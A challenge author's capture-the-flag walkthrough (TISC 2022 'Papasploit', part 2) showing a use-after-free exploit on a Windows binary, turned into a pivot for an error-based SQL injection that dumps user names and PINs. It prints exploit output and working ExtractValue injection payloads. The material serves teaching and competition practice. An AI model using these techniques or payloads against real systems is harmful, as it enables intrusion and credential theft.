TISC 2022 Challenge 10 Walkthrough — Papasploit [Part 2]

kktan
CSIT tech blog
Published in
9 min readNov 11, 2022

Recap

In Part 1, we went through the motivation for the challenge, and the corresponding design.

Papasploit layout

From the previous write-up, we have done the baseline work of logging into the webapp, decrypting the binary, and reverse engineering it adequately to work out its functionality.

[0] (data): Creates an object (N) with a random UUID, the originator’s IP, and some (data). N starts from 0 and increments by 1 each time an object is added.
[1] N: View the data of an object N
[2] N: Null out the first byte of the data in object N, then free it
[3] N (newdata): change object N’s (data) to (newdata), up to the previous size of (data), if a global variable is set to 0 (but, it is not)
[4] N: Null out the first byte of the UUID
[5]: Make a HTTP POST request to hardcoded/status.php?id=0 with data: action=update&uuid=715cf1a6–2022–4d4d-add5-c0ffeec0ffee&status=alive-and-functional&display=show-result-for-process&connIP=[origin IP]

We’ve managed to corrupt a freed object, causing a crash. Instead of random characters, we could theoretically craft a fakeobj to mimic an actual legitimate object, and then use this fakeobj to gain arbitrary read and eventually (hopefully) arbitrary write. The steps for the attack:

  1. Use the generic combination of [0] -> [2] -> [1] to try to leak an address on the heap, so that we can craft our fakeobj
  2. Get the base address of babysploit by using the fakeobj and [1] . With the base address, we can access the edit-preventing global variable, and the URL and POST addresses
  3. Null out the global variable with a fakeobj and [4] , to enable the ability to use [3] (the edit function)
  4. Alter the URL and the POST data using fakeobj and [3] , in order to be able to access killswitch.php via the binary’s [5] command

With the plan of attack in mind, we can now move on to Part 4: Pwn, and Part 5: Web.

Part 0: Logging into the webapp (in Part 1)
Part 1: Decrypting the binary (in Part 1)
Part 2: Reverse Engineering (in Part 1)
Part 3: Pre-Pwn (in Part 1)
Part 4: Pwn
Part 5: Web

Part 4: Pwn

First things first, let’s set up the basic functions to interact with the server binary:

Next, a simple function to construct our fakeobj.

Readers might notice the additional include_end parameter for this function. This is to preserve our fakeobj for editing later on in the exploit.

Now, we can try to leak a heap address with the combination of [0] -> [2] -> [1] (conn -> free -> view in the code), and naturally, we can confirm our findings in windbg.

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y

With the heap address leaked, we can attempt to construct a fakeobj with [0] and use [1] with one of our previously freed objects to view the content. If the fakeobj data in the new object successfully overwrites the freed object’s pointers, we will be able to read the heap to find our base address.

As we saw in the first write-up, the base address of babysploit.exe can indeed be found on the heap. We use a large size value for the fakeobj (in this case, 0x4000 bytes), so that we can examine several pages in a single arbitrary read.

We find that the base address is always at the same offset away from the heap’s base. In this case, it is 0x2850 , but this figure may vary across deployments. It should be observed that due to the nature of heap memory allocation, the exploit may not work all the time, and previously freed objects might get corrupted unexpectedly.

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y
[ ] Trying: 0x18bf0e60000...
[+] Suspected base addr at: +0x2850
[!] Use base address 0x7ff77a070000 (y/N): y
[+] Base addr: 0x7ff77a070000

Having found the base address, we next try to find the global variable blocking our ability to perform edits with [3]. Once again, we craft a fakeobj, this time with the global variable’s address, so that we can null the dereferenced byte with [4].

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y
[ ] Trying: 0x18bf0e60000...
[+] Suspected base addr at: +0x2850
[!] Use base address 0x7ff77a070000 (y/N): y
[+] Base addr: 0x7ff77a070000
[+] Successfully enabled edit!
[ ] Edit on obj: 8
[ ] View on obj: 2

Now, this is where the fun begins. With the ability to edit, we now can do arbitrary writes.

Let’s recap where we’re at. In the above example, we crafted Object 8, planting a fakeobj in its data parameter. The fakeobj overwrote the previously freed Object 2. The UAF vulnerability has so far only allowed us to view memory addressed by the fakeobj.

The newly enabled arbitrary write allows us to do two things:

  1. Edit the un-freed Object 8’s data (i.e., the fakeobj), to change the addressing of Object 2. This is a safer method to get arbitrary read, instead of adding new objects, viewing freed objects, and risking a crash with an out-of-bounds read.
  2. Edit Object 2’s data (i.e., whatever the fakeobj points to). This is our arbitrary write!

Our next step is to identify where the POST URL (ie, status.php) and the POST data strings are located in the heap. Again, these are global variables.

With our newly found edit powers, we can simply edit our fakeobj’s parameters as mentioned above, find the required parameters, and extend the POST data string length. You will see why we need a longer string length, shortly. :)

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y
[ ] Trying: 0x18bf0e60000...
[+] Suspected base addr at: +0x2850
[!] Use base address 0x7ff77a070000 (y/N): y
[+] Base addr: 0x7ff77a070000
[+] Successfully enabled edit!
[ ] Edit on obj: 8
[ ] View on obj: 2
[ ] POST URL ptr : 0x18bf0e71670
[ ] POST data ptr: 0x18bf0e68510
[ ] Extending POST data string length...

Almost there! First, we need to change the POST URL from status.php to killswitch.php? . The additional ? at the end acts as a “terminating character” for the request. The junk in memory after the ? will be parsed as a GET parameter instead of corrupting the URL.

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y
[ ] Trying: 0x18bf0e60000...
[+] Suspected base addr at: +0x2850
[!] Use base address 0x7ff77a070000 (y/N): y
[+] Base addr: 0x7ff77a070000
[+] Successfully enabled edit!
[ ] Edit on obj: 8
[ ] View on obj: 2
[ ] POST URL ptr : 0x18bf0e71670
[ ] POST data ptr: 0x18bf0e68510
[ ] Extending POST data string length...
[+] Changed URL location to killswitch.php
b'<br />\n<b>Warning</b>: Undefined array key "u" in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>15</b><br />\n<br />\n<b>Warning</b>: Undefined array key "p" in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>16</b><br />\n<br />\n<b>Warning</b>: Trying to access array offset on value of type null in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>26</b><br />\nIncorrect PIN!\r\n<style>\r\n label{\r\n cursor: pointer;\r\n display: inline-block;\r\n padding: 0px 0px;\r\n text-align: left;\r\n width: 100px;\r\n vertical-align: center;\r\n }\r\n</style>\r\n\r\n<!DOCTYPE html>\r\n<html lang="en">\r\n<head>\r\n <meta charset="UTF-8">\r\n <title>PAPASPLOIT</title>\r\n <style type="text/css">\r\n body{ font: 14px sans-serif; }\r\n .wrapper{ width: 350px; padding: 20px; }\r\n </style>\r\n</head>\r\n<body>\r\n <div class="wrapper">\r\n <h2>!!Get Killswitch!!</h2>\r\n <p>Please fill in your credentials to get the killswitch.</p>\r\n <form action="/killswitch.php" method="post">\r\n <div class="form-group ">\r\n <label>User</label>\r\n <input type="text" name="u" class="form-control">\r\n <br>\r\n </div> \r\n <div class="form-group ">\r\n <label>PIN</label>\r\n <input type="password" name="p" class="form-control">\r\n <br>\r\n <span class="help-block"></span>\r\n <span class="help-block"></span>\r\n </div>\r\n <div class="form-group">\r\n <input type="submit" class="btn btn-primary" value="Go">\r\n </div>\r\n </form>\r\n </div> \r\n</body>\r\n</html>'

Great! Instead of the status message, we get the killswitch page. Also, we see PHP warnings that were previously not visible from an external IP.

Now, we need to edit the POST data in the heap to send our desired parameters.

[ ] Port: 18803
[!] Use heap address 0x22020200000 (y/N):
[!] Use heap address 0x18bf0e60000(y/N): y
[ ] Trying: 0x18bf0e60000...
[+] Suspected base addr at: +0x2850
[!] Use base address 0x7ff77a070000 (y/N): y
[+] Base addr: 0x7ff77a070000
[+] Successfully enabled edit!
[ ] Edit on obj: 8
[ ] View on obj: 2
[ ] POST URL ptr : 0x18bf0e71670
[ ] POST data ptr: 0x18bf0e68510
[ ] Extending POST data string length...
[+] Changed URL location to killswitch.php
(snip)
[ ] Performing SQL injection against killswitch.php
[!] Input POST data > u=taco cat&p=never-odd-or-even
b'<br />\n<b>Warning</b>: Trying to access array offset on value of type null in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>26</b><br />\nIncorrect PIN!\r\n<style>\r\n label{\r\n cursor: pointer;\r\n display: inline-block;\r\n padding: 0px 0px;\r\n text-align: left;\r\n width: 100px;\r\n vertical-align: center;\r\n }\r\n</style>\r\n\r\n<!DOCTYPE html>\r\n<html lang="en">\r\n<head>\r\n <meta charset="UTF-8">\r\n <title>PAPASPLOIT</title>\r\n <style type="text/css">\r\n body{ font: 14px sans-serif; }\r\n .wrapper{ width: 350px; padding: 20px; }\r\n </style>\r\n</head>\r\n<body>\r\n <div class="wrapper">\r\n <h2>!!Get Killswitch!!</h2>\r\n <p>Please fill in your credentials to get the killswitch.</p>\r\n <form action="/killswitch.php" method="post">\r\n <div class="form-group ">\r\n <label>User</label>\r\n <input type="text" name="u" class="form-control">\r\n <br>\r\n </div> \r\n <div class="form-group ">\r\n <label>PIN</label>\r\n <input type="password" name="p" class="form-control">\r\n <br>\r\n <span class="help-block"></span>\r\n <span class="help-block"></span>\r\n </div>\r\n <div class="form-group">\r\n <input type="submit" class="btn btn-primary" value="Go">\r\n </div>\r\n </form>\r\n </div> \r\n</body>\r\n</html>'
[!] Input POST data > u=admin'&p=moo
b"<br />\n<b>Fatal error</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin''' at line 1 in C:\\xampp\\htdocs\\killswitch.php:22\nStack trace:\n#0 C:\\xampp\\htdocs\\killswitch.php(22): mysqli_query(Object(mysqli), 'SELECT pin FROM...')\n#1 {main}\n thrown in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>22</b><br />\n"
[!] Input POST data >

Looks like we’ve finally hit the “web” part of this CTF challenge!

An important caveat. For readers wishing to try the exploit out, you will need to attempt this multiple times to succeed. The relatively low success rate is due to the lack of heap grooming.

Part 5: Web

Given the SQL error above, it shouldn’t be too difficult to cook up an error-based injection with ExtractValue() . I decided to be a friendly challenge creator and return SQL errors, but even if errors are not produced, boolean-blind techniques would also work against this vulnerable site.

So let’s see ExtractValue() in action:

[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT @@version)));#a
b'<br />\n<b>Warning</b>: Undefined array key "p" in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>16</b><br />\n<br />\n<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: \'=10.4.24-MariaDB\' in C:\\xampp\\htdocs\\killswitch.php:22\nStack trace:\n#0 C:\\xampp\\htdocs\\killswitch.php(22): mysqli_query(Object(mysqli), \'SELECT pin FROM...\')\n#1 {main}\n thrown in <b>C:\\xampp\\htdocs\\killswitch.php</b> on line <b>22</b><br />\n'

If you recall, we have managed to increase the length of the POST data string, with our earlier manipulations in the heap.

While it would be tempting to craft the most amazing one-liner complicated SQL injection statement, we must also remember that we are sending edit instructions to the binary, and the data within these instructions also land up on the heap. If the data is too long (the same length as a freed object: 0x80), there’s a good chance that it might overwrite the fakeobj pointers and cause the exploit to fail. So let’s proceed with caution.

We can easily acquire the database name:

[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT database())));#a
(snip)
XPATH syntax error: \'=actualdb\'
(snip)

And the usual tricks to acquire the table and column names:

[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT table_name FROM information_schema.tables WHERE table_schema='actualdb' LIMIT 0,1)));#a
(snip)
XPATH syntax error: \'=connections\'
(snip)
[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT table_name FROM information_schema.tables WHERE table_schema='actualdb' LIMIT 1,1)));#a
(snip)
XPATH syntax error: \'=ulist\'
(snip)
[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT column_name FROM information_schema.columns WHERE table_name='ulist' LIMIT 0,1)));#a
(snip)
XPATH syntax error: \'=name\'
(snip)
[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT column_name FROM information_schema.columns WHERE table_name='ulist' LIMIT 1,1)));#a
(snip)
XPATH syntax error: \'=pin\'
(snip)
[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT column_name FROM information_schema.columns WHERE table_name='ulist' LIMIT 2,1)));#a
(snip)
XPATH syntax error: \'=status\'
(snip)

And from here, we can try to enumerate the table:

[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT group_concat(name,'-',pin,'-',status) FROM ulist)));#a
(snip)
XPATH syntax error: \'=noobuser-123456-0,teoyiboon-...\'
(snip)

We can try to log in as noobuser (or teoyiboon). Note that we need to add a &a= at the end, so that the rest of the junk in the heap ends up as an unparsed parameter:

[!] Input POST data > u=noobuser&p=123456&a=
b'Insufficient privileges!
(snip)

This is a change from the “Incorrect PIN!” message. Perhaps, we can look for other users that have a different status, as it appears to be the only column name seemingly related to privileges…

[!] Input POST data > u='%26ExtractValue('',concat('=',(SELECT group_concat(name,'-',pin,'-',status) FROM ulist WHERE status!=0)));#a
(snip)
XPATH syntax error: \'=shark-i&lt;3tisc-1337\'
(snip)

And the rest is trivial:

[!] Input POST data > u=shark&p=i<3tisc&a=
b'TISC{pa_pa_sploit_d0o_d0o_d0od0o_d0od0o}'

Conclusion

Phew. Let’s take a look at the challenge layout again.

Papasploit layout

Firstly, we decrypted the binary. Next, we reversed and worked out the binary’s possible capabilities and quirks. Combining the UAF and the in-built functions (and programmatically retrying the exploit), we were then able to overwrite variables and other content in memory to subvert the binary, transforming it into a pivot for an internal web attack.

I would like to think that this writeup presents a solution that was technically interesting and unusual, while also being somewhat (but not overly) annoying. Hopefully, this encourages even more challengers to sign up for TISC next year :)

--

--